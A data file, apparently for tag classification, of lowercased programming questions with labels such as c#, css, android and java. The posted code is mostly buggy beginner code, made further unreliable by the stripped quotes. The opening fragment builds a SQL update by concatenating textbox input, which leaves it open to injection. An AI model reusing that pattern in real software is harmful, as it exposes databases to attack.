+ txtfamily.text +                [telorgan]=   + txtorgan.text +     [teltel1]=   + txttel1.text +     [teltel2]=   + txttel2.text +                [telmob1]=   + txtmob1.text +     [telfax]=   + txtfax.text +    where id=  + convert.toint32(txtcode.text.trim()) +   ;         telcommand.executenonquery();         telconnection.close();         response.redirect( index.aspx );     } </code></pre>,asp.net
cannot replace contents of atable using load data local infile  load data local infile  input.txt  replace into table t fields terminated by  | ; doesn t seem to replace the former contents  its creating duplicate copies of the entries  i tried with  ignore  also but even it is not working..pls tel me where i m going wrong..     i created d table using...   <pre><code>create table t  (name varchar(20) empid int age int dob date `order` int price int); </code></pre>   my query..   <pre><code>load data local infile  empinput.txt   replace into table t fields terminated by  |  ignore 5 lines; </code></pre>   or   <pre><code>load data local infile  empinput.txt   ignore into table t fields terminated by  |  ignore 5 lines; </code></pre>   doesn t seem to work.. my input.txt file has..   <pre><code> gopakumar  |     3 |  20 | 1990-12-03 |     1 |    24   nitin      |     4 |  18 | 1992-07-30 |     2 |    48   prashant   |     5 |  20 | 1990-05-17 |     3 |    72   arunakumar |     2 |  21 | 1989-12-08 |     4 |    96   ravikiran  |    10 |  26 | 1984-06-14 |     6 |   144   abhi       |    32 |  21 | 1989-03-21 |     7 |   168   amruthesh  |     1 |  22 | 1988-09-22 |     8 |   192   abcd       |    56 |  21 | 1989-09-09 |  null |   200   abhi       |    23 |  20 | 1990-08-08 |    12 |  1060  </code></pre>   thanks in advance....,mysql
group by returning 1st column values twice  i have data that looks like:   <pre><code>acc311  female  3 acc311  female  1 acc311  female  4 acc311  male    4 acc501  male    4 acc501  male    4 acc501  male    4 acc501  male    4 . . . </code></pre>   now i am using following query to get results    <pre><code>select distinct coursecode  gender  count(cq) as cq from table1 group by coursecode  gender order by coursecode </code></pre>   it is returning results as following  which is obviously not a correct way as per required output (see below)   <pre><code>coursecode gender   cq  acc311     male     45  acc311     female   22  acc501     female   228  acc501     male     485 </code></pre>   where as i need to get following:   <pre><code>coursecode  total   male    female  cq  acc311      67      45      22      11  acc501      713     485     228     111 </code></pre>,sql
c++ type converting issue  consider following code:   <pre><code>#include &lt;iostream&gt;  using namespace std;  int aaa(int a) {     cout &lt;&lt; a * 0.3 &lt;&lt; endl;     return a * 0.3; }  int main() {     cout &lt;&lt; aaa(35000); } </code></pre>   it prints out:   <pre><code>10500 10499 </code></pre>   why output differs     i have a workaround to use  return a * 3 / 10;  but i don t like it.    edit:    found that doing  return float(a * 0.3);  gives expected value;,c++
prints out the first eight autmorphic numbers  create a program that prints out the first eight[8] <a href= http://en.wikipedia.org/wiki/automorphic_number  rel= nofollow >automorphic numbers</a>. output must be done in the <code>main()</code> function.    here s the code i worked on:   <pre><code>#include &lt;stdio.h&gt;   #include &lt;conio.h&gt;  main() {   int automorphic[8]; int n;    printf( \t\t\tautomorphic\n\n\n );   for(n=1; n&lt;8; n++ ){     if (n*n%10==n || n*n%100==n || n*n%1000==n); } printf( \t%d\n\n   automorphic [n]);  getch(); return 0; }   </code></pre>   i don t get why it only prints out 0  is there something missing on my code  or am i not doing the right thing at all,c
php save inner html of p tag  only 1 p tag on page  i am trying to get the inner html of a <code>&lt;p&gt;</code> tag and save it as a .txt file. it is a very simple page; there is only one <code>&lt;p&gt;</code> on it. i tried using <code>getelementsbytagname( p )</code> as per: <a href= https://stackoverflow.com/questions/8144061/using-php-to-get-dom-element >using php to get dom element</a>. unfortunately  it didn t work for me  but maybe i m missing something. my code is:   <pre class= lang-php prettyprint-override ><code>&lt; php $datapage = file_get_contents( http://www.somedataurl.com ); $doc = new domdocument; $doc-&gt;loadhtml($datapage);  $datanodelist = $doc-&gt;getelementsbytagname( p ); $datanode = $datanodelist-&gt;item(0);  function innerhtml($node) {     return implode(array_map([$node-&gt;ownerdocument   savehtml ]              iterator_to_array($node-&gt;childnodes))); }  $thedata = innerhtml($datanode);  header( content-type: text/plain ); $filename = date( y-m-d ) .  .txt ; file_put_contents($filename  $thedata); </code></pre>   the error log is giving me:   <blockquote>    php notice: undefined property:: domnodelist (line 10)        php notice: undefined property:: domnodelist (line 11)        php catchable fatal error (line 11)  </blockquote>   these errors sound rather alarming  especially the last one.    <strong>question:</strong> is there a better tool i can use other than <code>getelementsbytagname()</code> since i am only dealing with one <code>&lt;p&gt;</code>  or can this way work if i adjust a few things,php
system null reference exception  am getting    system null reference exception:object reference not set to an instsnce of the object   <pre><code>line 59:             **xmltext nametext = xmldoc.createtextnode(name.text);** line 60:             xmltext locationtext = xmldoc.createtextnode(location.text); line 61:             xmltext emailtext = xmldoc.createtextnode(email.text) </code></pre>   plz help me out frm this..,c#
allow enter only 1 - 9 digits in textfield  i need to allow the end user enter only 1-9 digits:   <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string{         nsstring *newstring = [textfield.text stringbyreplacingcharactersinrange:range withstring:string];         if([newstring length]&gt;=1)         {             nsstring *sepstr=[newstring substringtoindex:1];             return !([sepstr length]&gt;1);         }          if ([string length] == 0 &amp;&amp; range.length &gt; 0){             textfield.text = [textfield.text stringbyreplacingcharactersinrange:range withstring:string];             return no;         }         nscharacterset *nonnumberset = [[nscharacterset charactersetwithcharactersinstring:@ 0123456789 ] invertedset];         if ([string stringbytrimmingcharactersinset:nonnumberset].length &gt; 0)return yes;         return no;     } </code></pre>   but it s still possible to enter more than 1 number. please help to find an error.,ios
is it more performant to defer css to :hover if possible   consider the following:   <pre><code>.element {     cursor: pointer; }  .element:hover {     cursor: pointer; } </code></pre>   to me  these two css snippets are identical. the cursor is only seen when hovering the element. either method of decorating the cursor works equally well.    i m curious how this works under the hood. is there a preference here for using one or the other  if so  why,css
nested counters html list 1 1.1 a i - is this possible  i have a convoluted nested ordered list that i need to implement which looks like this:   <pre><code>1. one 2. two     2.1 two.one     2.2 two.two     2.3 two.three 3. three     3.1 three.one     3.2 three.two         a. lower-alpha-a         b. lower-alpha-b             i. lower-numeral-i             ii. lower-numberal-ii 4. four </code></pre>   i have tried this with css counters but i cant get the increment to stop after the first level  it goes all the way through to the last level.    <h1>css</h1>  <pre><code>ol {     counter-reset: item } li {     display: block } li:before {     content: counters(item   . )   ;     counter-increment: item; } </code></pre>  <h1>html</h1>  <pre><code>&lt;ol&gt;   &lt;li&gt;one&lt;/li&gt;   &lt;li&gt;two     &lt;ol&gt;       &lt;li&gt;two.one&lt;/li&gt;       &lt;li&gt;two.two&lt;/li&gt;       &lt;li&gt;two.three&lt;/li&gt;     &lt;/ol&gt;   &lt;/li&gt;   &lt;li&gt;three     &lt;ol&gt;       &lt;li&gt;three.one&lt;/li&gt;       &lt;li&gt;three.two&lt;/li&gt;       &lt;ol type= a &gt;         &lt;li&gt;three.two.one&lt;/li&gt;         &lt;li&gt;three.two.two           &lt;ol type= i &gt;             &lt;li&gt;three.two.one&lt;/li&gt;             &lt;li&gt;three.two.two&lt;/li&gt;           &lt;/ol&gt;         &lt;/li&gt;       &lt;/ol&gt;     &lt;/ol&gt;   &lt;/li&gt;   &lt;li&gt;four&lt;/li&gt; &lt;/ol&gt; </code></pre>   jsfiddle link: <a href= http://jsfiddle.net/902flnt7/2/  rel= nofollow >http://jsfiddle.net/902flnt7/2/</a> any help would be appreciated,css
need to copy files on client system  is thr any possible way   i m developin an online examination system in c#.net and want to copy files on client machine as soon as exam starts  so that even if internet gets disconnected examinee can continue with test,asp.net
displaying corresponding content panels when table row is hovered  i need to display 2 sets of content when a table row is hovered. the pre-hovered state displays generic information in the two target areas <a href= https://i.stack.imgur.com/ofye6.png  rel= nofollow noreferrer >1</a> explanation and [2] actions. when user hovers a table row  the explantation and actions content are replaced with the relevant content relating to the hovered row. by way of illustration  this is what i m looking to achieve:    <img src= https://i.stack.imgur.com/ofye6.png  alt= enter image description here >    thanks for any pointers.,jquery
how to determine if a square is inside a rectangle   higuys     in java  i wonder how can i determine if a square is inside a rectangle  or touching at the edges or touching at one corner  if these are given:   <ul> <li>x and y coordinates of the square  width of the square</li> <li>x and y coordinates of the rectangle  width &amp; length of the rectangle</li> </ul>   i know i have to use math.abs() and find the x and y coordinate differences  but i could not formulate the problem mathematically.    all data types are doubles  by the way.    even if you don t know java  your ideas about mathematical formulation of this problem would be much appreciated.    thanks in advance.,java
help to find out what component is being used  i m a beginner with objective-c and i have to create something similar to the one on this image but i don t know what are the components on the top bar.    <img src= https://i.stack.imgur.com/gemkv.png  alt= i just need to know what component is being used on the top >    thanks in advance for any help,objective-c
ios developer program( individual)  my clients has purchased an ios developer program (individual company)  he would like to put to the apple store with the name of his company   can he do this   how   or the app will have the name of his program developer,iphone
how to hide headers when packaging static library   i want to put my private headers into my static library  so the customers can only see the public headers and .a file  but setting the headers  private  when packaging the library didn t work. adding only the public headers and source files(.a) to the customer s project would cause errors:the “private” headers not found...any help please,iphone
how to create something similar to the `edit` mode of an image in `google photos` in my android app   i want to create something similar to how the screen looks like in the <code>edit-mode</code> of a photo in <code>google photos</code>  especially the screen where we can put the different filters  as shown below:    <a href= https://i.stack.imgur.com/ivrrc.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ivrrc.jpg  alt= google photos edit mode ></a>    now  the top part can be done using a simple <code>imageview</code>. the bottom part can also be made by just using a <code>seekbar</code>. but how do i create the middle part  that is the part  where all the filters are shown that can be slided left or right  and selected accordingly as shown above. is there something in android which does something like that  or do i need to create the entire thing from scratch,android
disable/freeze view controller  i need to know how to disable all of the action from view controller. in another words  all of the objects in the view controller will be frozen.  as a practice  i declare a button and some objects like textfield  slider  etc.  then all of the objects cannot be used when the button pressed.    i need to <strong>disable all activities</strong> from this view controller.,ios
code for overlaying image on image and text on images in jes  i need assistance in making a code that will overlay image on image and text on images in jes.    i am unable to start due to limited knowledge of overlaying images on images  text on images  scaling text and image up or down and transparency levels.    if anyone will assist me it would be nice. thanks   <pre><code>def scale(picture factor):   newheight = int(factor*getheight(picture))+1   newwidth = int(factor*getwidth(picture))+1   returnpic = makeemptypicture(int(newwidth) int(newheight))   sx = 0   for tx in range(0 newwidth):     sy = 0     for ty in range(0 newheight):       if (int(sx) &lt; getwidth(picture)) and (int(sy) &lt; getheight(picture)):         sp = getpixel(picture int(sx) int(sy))         tp = getpixel(returnpic tx ty)         setcolor(tp getcolor(sp))       sy = sy + (1/factor)     sx = sx + (1/factor)    show(returnpic)  def grayscalenew():    picture = makepicture( forbidden-city.jpg )    for px in getpixels(picture):      newred = getred(px) * 0.2121       newgreen = getgreen(px) * 0.7152      newblue = getblue(px) *  0.0722      luminance = newred + newgreen + newblue      setcolor(px makecolor(luminance luminance luminance))  def testtransparentoverlay():     # this function reads in two pictures and produces a new picture that    # is made by copying picture 1 and then overlaying picture 2 on top    # of picture 1. (it is placed in the centre of the image)    # this requires the width and height of picture 2 to be less than     # the width and height of picture 2 (so it fits). so it checks     # that the size of each image is correct before creating the new picture.     # 1. get the two pictures and show them      file = pickafile()    picture1 = makepicture(file)    file = pickafile()    picture2 = makepicture(file)    show(picture1)    show(picture2)     #2. test the size of the pictures - picture 2 needs to fit inside    #   picture 1 (so check width and height)     if getwidth(picture2) &gt; getwidth(picture1):       errormessagewidth =  error: the width of picture2 is greater than picture1        print(errormessagewidth)    elif getheight(picture2) &gt; getheight(picture1):       errormessagewidth =  error: the width of picture2 is greater than picture1        print(errormessagewidth)    else: #do the overlay and show the result       #work out the position for overlaying first       xmargin = (getwidth(picture1) - getwidth(picture2)) / 2       ymargin = (getheight(picture1) - getheight(picture2)) / 2       proportion = 60 #try 60% transparency       picture3 = transparency(picture1  picture2  xmargin  ymargin  proportion)       show(picture3)   def transparency(picture1  picture2  xstart  ystart  proportion):      # overlays picture 2 in the centre of picture 1 with       # a transparency of proportion (%)      # returns a new picture - copy of picture 1 with the overlay       # (there are no side effects)       picture3 = duplicatepicture(picture1)       # calculate the proportions of overlay and the base image      # keep any decimal places until after calculations      overlay = (proportion) / 100.0   # convert overlay from percentage to a fraction                                        # eg. 60% is 60/100 which is 0.6       base = (100-proportion) / 100.0  # convert base amount from percentage to a fraction                                        # eg. if overlap is 60% is (100-60) / 100 which is 0.5         #copy all the pixels from picture 2 onto the new picture 3      for x in range(0  getwidth(picture2)):         for y in range(0  getheight(picture2)):              pixel2 = getpixel(picture2  x  y)                # pixel to copy (and colours)            pixel2red   = getred(pixel2)            pixel2green = getgreen(pixel2)            pixel2blue  = getblue(pixel2)              pixel3 = getpixel(picture3  x+xstart  y+ystart)  # overlap pixel (and colours)            pixel3red   = getred(pixel3)            pixel3green = getgreen(pixel3)            pixel3blue  = getblue(pixel3)             #combine the colours in correct proportions - convert back to integers            newred =   int(pixel2red * overlay)   + int(pixel3red * base)            newgreen = int(pixel2green * overlay) + int(pixel3green* base)            newblue =  int(pixel2blue * overlay)  + int(pixel3blue * base)             #set the new colours for picture3            setred(pixel3  newred)            setgreen(pixel3  newgreen)            setblue(pixel3  newblue)        return picture3 </code></pre>   these are all the code i have written but i am unsure how to put them together to make it work as a whole. if that made any sense.    thank you.,python
how to zero a new array  <h1>1:</h1>  <pre><code>int a[100] = {}; </code></pre>  <h1>2:</h1>  <pre><code>int a[100]; memset(a  0  sizeof(a)); </code></pre>  <h1>3:</h1>  <pre><code>int a[100]; fill(a  a + 100  0); </code></pre>   what is the best way to zero a new array from the methods shown above and what is the difference between them,c++
td:first-child doesnt work for dynamically generated td  i am not able to get td:first-child to work for dynamically created <code>&lt;td&gt;</code> in statically created table. i have the following static mark up   <pre><code>    &lt;table class= tblgeninfo &gt;         @for (int i = 0; i &lt; model.controls.count(); i++)         {             if (model.controls[i].htmlattributes[ section ].tostring() !=  0 )             {                 continue;             }              &lt;tr&gt;                 @html.hiddenfor(x =&gt; x.controls[i].type)                 @html.hiddenfor(x =&gt; x.controls[i].id)                 @html.editorfor(x =&gt; x.controls[i])                &lt;/tr&gt;           }         &lt;/table&gt; </code></pre>   in the above code  @editorfor(x => x.control[i]) creates controls inside <code>&lt;td&gt;</code> dynamically. i have the following css which works if <code>&lt;td&gt;</code>s are created statically but doesnt work for dynamically created ones.please help.   <pre><code>    .tblgeninfo  tr  td:first-child{      width: 28%;      } </code></pre>   thanks,css
filter on nsmutablearray with nspredicate - return no result  i got a nsmutablearray* that looks like below and am trying to use a nspredicate to filter it to return only those that am interested in base upon there status.    after it execute the result variable is empty so for some reason its not filtering  any ideas     thanks    code:   <pre><code>nspredicate *predicate = [nspredicate predicatewithformat:@ statusid == %i   aorderstatus ]; nslog(@ %@   [predicate debugdescription]); nsarray *result = [aorderslist filteredarrayusingpredicate: predicate]; nslog(@ getrestaurantorderlist - result: %@   [result debugdescription]); return [result mutablecopy]; </code></pre>   aorderslist array content:   <pre><code>{     statusid = 0;     cost =  22.950000762939 ;     name =  pieter uys ;     number = 0823630937;     order =  1/4 chicken - spice: l ;      order detail  =  spice: l ;      order title  =  1/4 chicken ;     orderno = 2;     ordernodisplay = ord0000000002;     quantity = 1;     restaurant = nandos;     time =   20 min  ; }  {     statusid = 0;     cost =  41.950000762939 ;     name =  pieter uys ;     number = 0823630937;     order =  1/4 chicken meal - side: chips  drink: coke  spice: l ;      order detail  =  side: chips  drink: coke  spice: l ;      order title  =  1/4 chicken meal ;     orderno = 3;     ordernodisplay = ord0000000003;     quantity = 1;     restaurant = nandos;     time =   20:00  ; }  </code></pre>,iphone
angular ng-repeat on dynamic numeric keys not working  i am trying to loop over on below data <code> [{ 5+ :[2 1 3]} { 3-5 :[0 1 0]} { 1-3 :[1 0 3]} { 0.5 :[0 0 0]} { &lt;30 :[0 0 0]}] </code>    using below code piece   <pre><code>&lt;tr ng-repeat= sessionlength in [{ 5+ :[2 1 3]} { 3-5 :[0 1 0]} { 1-3 :[1 0 3]} { 0.5 :[0 0 0]} { &lt;30 :[0 0 0]}] &gt;                                           &lt;td ng-repeat= (key  value) in sessionlength &gt;                                               {{key}}                                           &lt;/td&gt;                                           &lt;td ng-repeat= (k v) in sessionlength[ 5+ ]  ng-if= sessionlength[ 5+ ] &gt;                                             {{v}}                                           &lt;/td&gt;                                           &lt;td ng-repeat= (k v) in sessionlength[ 3-5 ]  ng-if= sessionlength[ 3-5 ] &gt;                                             {{v}}                                           &lt;/td&gt;                                           &lt;td ng-repeat= (k v) in sessionlength[ 1-3 ]  ng-if= sessionlength[ 1-3 ] &gt;                                             {{v}}                                           &lt;/td&gt;                                           &lt;td ng-repeat= (k v) in sessionlength[ 0.5 ]  ng-if= sessionlength[ 5 ] &gt;                                             {{v}}                                           &lt;/td&gt;                                           &lt;td ng-repeat= (k v) in sessionlength[ &lt;30 ]  ng-if= sessionlength[ &lt;30 ] &gt;                                             {{v}}                                           &lt;/td&gt;                                         &lt;/tr&gt; </code></pre>   and below is what i want as an output   <pre><code>     app1 app2 app3 5+  : 2    1    3 3-5 : 0    1    0  1-3 : 1    0    3 0.5 : 0    0    0  &lt;30 : 0    0    0 </code></pre>   need some help with above looping. i am not getting as above mentioned expected result.,angularjs
uilabel fixed width / fixed height get text number  i have an iphone app that read an xml file on the web. i must put the readed string in many labels  the labels size is fixed. so  i want to know the labels contain string length of the fixed size.    just like this i have a uilabel the size of the label is 320x480. now i have a very very long string maybe it s length is 10000. i want to know how many characters the label can contain. 100 or 200 or 300.    thanks a lot!,iphone
java overloading overriding query  1)why can t the following neither overload nor override each other:     <pre><code>void meth(list&lt;integer&gt; a){}  void meth(list&lt;string&gt; a){}   </code></pre>   if the above parameters result in same type erasure  why can t they be overridden.<br> if they can t be overridden that means the parameters are somehow different thus shall be overloaded if in same class but its not so.isn t the above a conflict then        2)why is the following behavior shown in overriding      <pre><code>a)void test(int a){}  //parent class method   public/protected void test(int a){}  //child class method  (overridden)     b)void test(int a){}  //parent class method   private void test(int a){}  //child class method (not overridden)     c)public test(int a){}  //parent class method    protected void test(int a){}  //child class method (not overridden)   </code></pre>,java
how to load a code from a website like pastebin raw in c#  im sorry if my english are bad    but i want to know how to take code from website example from pastebin.com/raw/smth in the pastebin code is example  messagebox.show( hello )  and c# will load it and execute it,c#
how can i sum multi dimensional array in c#  how can i sum multi dimensional array please an easy and understandable example in c#.    i search a lot and find many result but the code is very complex in these articles/examples  so i want that if any of you have easy solution then please post it.    any help will be appreciated.    thanks in advance.,c#
how to convert callback to promise  i m trying to learn about what the promise is and how to convert callback to promise. while i m converting my code to promise i got very confused about the ref. i would very appreciate it if you show me how to convert this code as a simple example.   <pre><code>database.ref( /users ).on( child_added ).then(function(snap){   var subdata = snap.val();    database.ref( /subs/  + subdata.subid +  /pri/  + snap.key).once( value ).then(function(usersnap) {     var userdata = usersnap.val();      subdata.name = userdata.name;     subdata.age = userdata.age;      database.ref( /subs/  + subdata.subid).once( value  function(subdsnap) {       var subddata = subdsnap.val();       subdata.type = subddata.type;       database_m.ref( /users/  + snap.key).set(subdata);     });   });   }); </code></pre>,javascript
another way to suggest combobox item  is there any way to let combobox suggest elements which not only start with combobox text     i mean even if the combobox text has space between it s characters  for example if combobox has these items    <ul> <li>hello </li> <li>hi</li> <li>hellothere</li> </ul>   when we try to type  he  or  h e  or  h    e   the combobox would suggest <strong>hello</strong> and <strong>hellothere</strong>,c#
interview: find the whole cubes between range of two integers  i just gave a coding interview on codility    i was asked the to implement the following  but i was not able to finish it in 20 minutes  now i am here to get ideas form this community    write a function <code>public int whole_cubes_count ( int a int b )</code> where it should return whole cubes within the range    for example if a=8 and b=65  all the possible cubes in the range are 2^3 =8   3^3 =27 and 4^3=64  so the function should return  count 3    i was not able to figure out how to identify a number as whole cube.  how do i solve this problem     a and b can have range from [-20000 to 20000]    this is what i tried   <pre><code>import java.util.scanner; class solution1 {   public int whole_cubes_count ( int a int b ) {       int count =0;      while(a&lt;=b)     {         double v = math.pow(a  1 / 3); // &lt;&lt; what goes here          system.out.println(v);         if (v&lt;=b)             {             count=count+1;             }         a =a +1;     }     return count ;   }    public static void main(string[] args)    {     system.out.println( enter 1st number );     scanner scan = new scanner(system.in);     int s1 = scan.nextint();     system.out.println( enter 2nd number );     //scanner scan = new scanner(system.in);     int s2 = scan.nextint();     solution1 n = new solution1();      system.out.println(n.whole_cubes_count (s1 s2));   } } </code></pre>,java
cannot be loaded in the 4.0 runtime without additional configuration information  i m getting this exception.. what could be the reason    <pre><code>- 1/xx/2014 9:56:00 am: 11253-error creating configuration.  could not load configuration  mixed mode assembly is built against version  v1.1.4322  of the runtime and cannot be loaded in the 4.0 runtime without additional configuration information.  mixed mode assembly is built against version  v1.1.4322  of the runtime and cannot be loaded in the 4.0 runtime without additional configuration information.   application: xxxxxxxxx_xxxx.exe  framework version: v4.0.30319  description: the process was terminated due to an unhandled exception.  exception info: system.nullreferenceexception  stack:  </code></pre>,.net
display file instead of rsc version  whenever i try to open a custom file to a textbox or something which will display code. it never works  i m not sure what i am doing wrong. i want my program to display what is inside the file when i open it  i have this below:   <pre><code>private void button1_click(object sender  eventargs e)     {         //show dialogue and get result         stream mystream = null;         openfiledialog openfiledialog1 = new openfiledialog();          openfiledialog1.initialdirectory =  c:\\ ;         openfiledialog1.filter =  rbt files (*.rbt)|*.rbt|all files (*.*)|*.* ;         openfiledialog1.filterindex = 2;         openfiledialog1.restoredirectory = true;          if (openfiledialog1.showdialog() == dialogresult.ok)         {             try             {                 if ((mystream = openfiledialog1.openfile()) != null)                 {                     using (mystream)                     {                         file.writealltext(    codebox.text);                     }                 }             }             catch (exception ex)             {                 messagebox.show( rbt7 file open );             }         }     } </code></pre>   it only displays the rbt7 in a messagebox which is not what i want  i want the file to open and display its information to some sort of textbox which displays code.,c#
release mediaplayer ondestroy android  i m trying to stop the mp3 whenever the user opens another activity however  the code im using                                                                                                         doesnt seem to stop the mp3   <pre><code>public class tut2 extends activity {     private mediaplayer mp1;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.tut2);          final button button = (button) findviewbyid(r.id.filmtransparent22);         final handler handler = new handler();         final runnable changebackground = new runnable() {             private int i;              @override             public void run() {                 // set background based on task execution counter                 if (++i % 2 == 0) {                     button.setbackgroundresource(r.drawable.btn_tp_light);                 } else {                     button.setbackgroundresource(r.drawable.btn_tp_dark);                 }                  // repeat task                 handler.postdelayed(this  300);             }         };          // initiate the task         handler.postdelayed(changebackground  300);         // play sound         final mediaplayer mp1 = mediaplayer.create(getbasecontext()                  r.raw.plan_one); // -&lt;         mp1.start();         // play sound      }      public void next2(view view) {         intent intent = new intent(this  tut3.class);         intent.addflags(intent.flag_activity_no_animation);         startactivity(intent);         // finish(); calling finish makes it not work      }      @override     protected void ondestroy() {         // todo auto-generated method stub         super.ondestroy();         if (mp1 != null) {             mp1.stop();             mp1.release();             mp1 = null;         }     }      @override     public void onbackpressed() {         // todo auto-generated method stub     } } </code></pre>   i have tried this already but it gives me an exception   <pre><code> public void next2(view view) {     mp1.pause();     mp1.stop();     mp1.release();     intent intent = new intent(this  tut3.class);     intent.addflags(intent.flag_activity_no_animation);     startactivity(intent);  }  09-15 18:05:04.239: e/androidruntime(30465): fatal exception: main 09-15 18:05:04.239: e/androidruntime(30465): java.lang.illegalstateexception: could not execute method of the activity 09-15 18:05:04.239: e/androidruntime(30465):    at android.view.view$1.onclick(view.java:3838) 09-15 18:05:04.239: e/androidruntime(30465):    at android.view.view.performclick(view.java:4475) 09-15 18:05:04.239: e/androidruntime(30465):    at android.view.view$performclick.run(view.java:18784) 09-15 18:05:04.239: e/androidruntime(30465):    at android.os.handler.handlecallback(handler.java:730) 09-15 18:05:04.239: e/androidruntime(30465):    at android.os.handler.dispatchmessage(handler.java:92) 09-15 18:05:04.239: e/androidruntime(30465):    at android.os.looper.loop(looper.java:137) 09-15 18:05:04.239: e/androidruntime(30465):    at android.app.activitythread.main(activitythread.java:5450) 09-15 18:05:04.239: e/androidruntime(30465):    at java.lang.reflect.method.invokenative(native method) 09-15 18:05:04.239: e/androidruntime(30465):    at java.lang.reflect.method.invoke(method.java:525) 09-15 18:05:04.239: e/androidruntime(30465):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1187) 09-15 18:05:04.239: e/androidruntime(30465):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:1003) 09-15 18:05:04.239: e/androidruntime(30465):    at de.robv.android.xposed.xposedbridge.main(xposedbridge.java:132) 09-15 18:05:04.239: e/androidruntime(30465):    at dalvik.system.nativestart.main(native method) 09-15 18:05:04.239: e/androidruntime(30465): caused by: java.lang.reflect.invocationtargetexception 09-15 18:05:04.239: e/androidruntime(30465):    at java.lang.reflect.method.invokenative(native method) 09-15 18:05:04.239: e/androidruntime(30465):    at java.lang.reflect.method.invoke(method.java:525) 09-15 18:05:04.239: e/androidruntime(30465):    at android.view.view$1.onclick(view.java:3833) 09-15 18:05:04.239: e/androidruntime(30465): caused by: java.lang.nullpointerexception 09-15 18:05:04.239: e/androidruntime(30465):    at com.air.sprint123.tut2.next2(tut2.java:49) </code></pre>,android
how can i send objects between two states in angularjs without using rootscope or url parameters   when i navigate between one state to another  i want to pass an object to be used in the new state. how can i do this without using global object solutions such as <code>$rootscope</code>  also i don t want to use the state url parameters.    basically  i want to do  <code>$state.go( mystate   {some:  thing })</code> and inside the controller for  mystate  i want to be able to reach the passed object somehow.,angularjs
objective-c : initialize instance var  i am new to objective-c. my object reportingtime is nil in init method. what i am doing wrong   how can i initialize reportingtime and set firstweekday      i have the following interface and implementation    my interface file calculation.h   <pre><code>@interface calculate : nsobject {  nscalendar *reportingtime; .... .... } @property nscalendar *reportingtime;  @end </code></pre>   and my implementation file calculate.m   <pre><code>#import  calculate.h   @implementation calculate  @synthesize reportingtime;  - (id)init {     if(self = [super init]) {         reportingtime = [[nscalendar alloc] init];         [reportingtime setfirstweekday:1];          // reportingtime is nil            }     return self; } </code></pre>,objective-c
segmentation fault using argv[1]  i created a code that inserts and deletes nodes from a linked list depending on what a .txt file instructs. i previously used scanf( %s  fname) to open the file but now i want to open it using the command line  specifically argv[1] == file name to open it and read from it. now that i decided to use this i keep getting a segmentation fault. any ideas why this is occurring  i just started taking a c course in my university and am brand new to it.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt;  typedef struct node{ int val;  struct node *next;  } node;  void count_node(node *head){      node *temp;         int i=0;      temp = head;       while(temp!=null){       i++;       temp=temp-&gt;next;      }      printf( number of nodes are %d \n   i);   }  void displaylist(node *head){     node *temp;     temp = head;     while(temp != null){ printf(  %d   temp-&gt;val); temp = temp-&gt;next;     } } node * findbefore(node *head int value){      node *curr = head;      node *prev = null;      while(curr != null){        if(value &lt;= curr-&gt;val){             return prev;          }     prev = curr;      curr = curr-&gt;next;      /*printf( a\n );     break;*/   } return prev;     // 1 2 4  //printf( b\n ); }  void add(node *head int newvalue){  //return a node 0 for some reason  ask ta     printf( check \n );     node *newnode = malloc(sizeof(node));      if(newnode == null){     printf( check \n );     return;      }     newnode-&gt;val = newvalue;        //if list is empty:      if(head == null){          printf( check \n );         head = newnode;      }     //if list is not empty:      node *prev = findbefore(head newnode-&gt;val); //a -&gt; b  if(prev == null){     printf( check \n );     newnode-&gt;next = head;      head = newnode;      return;  } printf( check \n ); node *temp = prev-&gt;next;  prev-&gt;next = newnode;  newnode-&gt;next = temp;  }   void delete(node *head  int delval){     if(head == null){     return;   } node *prev = null;  node *curr = head;   if(delval == curr-&gt;val &amp;&amp; prev !=null ){ // 1 2         prev-&gt;next = curr-&gt;next;          free(curr);          return;      }     else if(delval == curr-&gt;val &amp;&amp; prev == null){ // 1         head = null;          free(curr);          return;      }  while(curr != null) {      while(curr != null &amp;&amp; curr-&gt;val != delval){         prev = curr;          curr = curr-&gt;next;      }      if (curr == null){         return;      }     prev-&gt;next = curr-&gt;next;      free(curr);     curr = prev-&gt;next;   } } int main(int argc char *argv[]) {    file * fp; char singleline[150];   char command;   int val; fp = fopen(argv[1]  r );   if(fp == null ){     exit(1);  } node *head = malloc(sizeof(node));  if(head == null){ //malloc returns null is there is a memory leak      return 1;  } while(fgets(singleline 100 fp)){     //printf( %s\n  singleline);      sscanf(singleline  %c %d  &amp;command &amp;val);      //printf( command character is: %c\n    command);      //printf( the value we have to add is: %d\n  val);     if(command ==  i ){         printf( found i  and add %d\n  val);          add(head val);      }     else if(command ==  d ){         delete(head val);          printf( found d and delete %d\n  val);      } } free(head);  fclose(fp); printf( \n );  count_node(head);   printf( the linked list is : \n  );  displaylist(head);  return 0;  } </code></pre>,c
writing less code  i have this   <pre><code>/* unvisited link */ a.underl:link {     color: #000000;     text-decoration: none; }  /* visited link */ a.underl:visited {     color: #000000;     text-decoration: none; }  /* mouse over link */ a.underl:hover {     color: #ff6213;     text-decoration: underline; }  /* selected link */ a.underl:active {     color: #ff0003;     text-decoration: underline; } </code></pre>   what i want to do is define another class <code>underl2</code>  but the difference would be that i change only the color of the <code>link</code>. all the other remain unchanged. how can i do this without having to copy and paste the other things and rename them to <code>a.underl2</code>,css
stop chronometer with a condition  now i am working on a android application.in my application i have to use a chronometer to show a timer.i started timer using the following code.   <pre><code>chrono.setbase(systemclock.elapsedrealtime());         chrono.start(); </code></pre>   now i want to call stop method when a particular time exceeds. please help me to solve this issue friends. thanks in advance,android
why doesn t the function definition end when i hit enter   after i type <code>return</code>  i hit <kbd>enter</kbd> and i think i should be able to see a new prompt in my python shell.     usually  when you hit <kbd>enter</kbd> in the shell  it turn to a new prompt. but this time it didn t. the new prompt line appears only after you hit <kbd>enter</kbd> twice. why      my code is    <pre><code>def nobo():     x=4     print x     return           </code></pre>,python
